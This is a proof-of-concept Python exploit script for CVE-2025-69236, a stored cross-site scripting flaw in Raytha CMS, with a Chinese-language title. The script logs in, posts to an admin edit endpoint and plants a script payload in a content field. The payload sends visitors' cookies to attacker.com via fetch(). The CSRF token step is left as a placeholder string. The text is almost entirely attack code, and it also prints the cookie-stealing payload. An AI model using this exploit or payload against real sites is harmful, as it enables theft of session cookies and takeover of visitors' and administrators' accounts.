CVE-2025-69236: Raytha CMS存储型XSS漏洞

#!/usr/bin/env python3 """ CVE-2025-69236 PoC - Raytha CMS Stored XSS Target: Raytha CMS < 1.4.6 Vulnerability: Stored XSS via FieldValues[1].Value parameter """ import requests import json TARGET_URL = "http://target-raytha-cms.com" USERNAME = "attacker_account" PASSWORD = "password123" def login(session, username, password): """Authenticate to Raytha CMS""" login_url = f"{TARGET_URL}/auth/login" data = { "email": username, "password": password } response = session.post(login_url, data=data, allow_redirects=True) return "dashboard" in response.url or response.status_code == 200 def exploit_stored_xss(session): """Inject XSS payload via FieldValues[1].Value parameter""" # Step 1: Navigate to post editing page posts_url = f"{TARGET_URL}/c/admin/posts" response = session.get(posts_url) # Step 2: Get CSRF token and post editing form edit_url = f"{TARGET_URL}/c/admin/posts/edit/1" response = session.get(edit_url) # Step 3: Extract CSRF token from form csrf_token = "extract_csrf_from_form(response.text)" # Step 4: Inject XSS payload in FieldValues[1].Value xss_payload = '<script>fetch("https://attacker.com/steal?cookie="+document.cookie)</script>' edit_data = { "_csrf": csrf_token, "title": "Malicious Post", "FieldValues[1].Value": xss_payload, # XSS injection point "FieldValues[2].Value": "Some content", "submit": "Save" } post_url = f"{TARGET_URL}/c/admin/posts/edit/1" response = session.post(post_url, data=edit_data) return response.status_code == 200 def main(): session = requests.Session() print("[*] Logging in to Raytha CMS...") if not login(session, USERNAME, PASSWORD): print("[-] Login failed!") return print("[+] Login successful!") print("[*] Injecting XSS payload...") if exploit_stored_xss(session): print("[+] XSS payload injected successfully!") print("[*] Wait for admin or user to visit the post page") print(f"[*] Payload: <script>fetch(\"https://attacker.com/steal?cookie=\"+document.cookie)</script>") else: print("[-] Exploitation failed!") if __name__ == "__main__": main()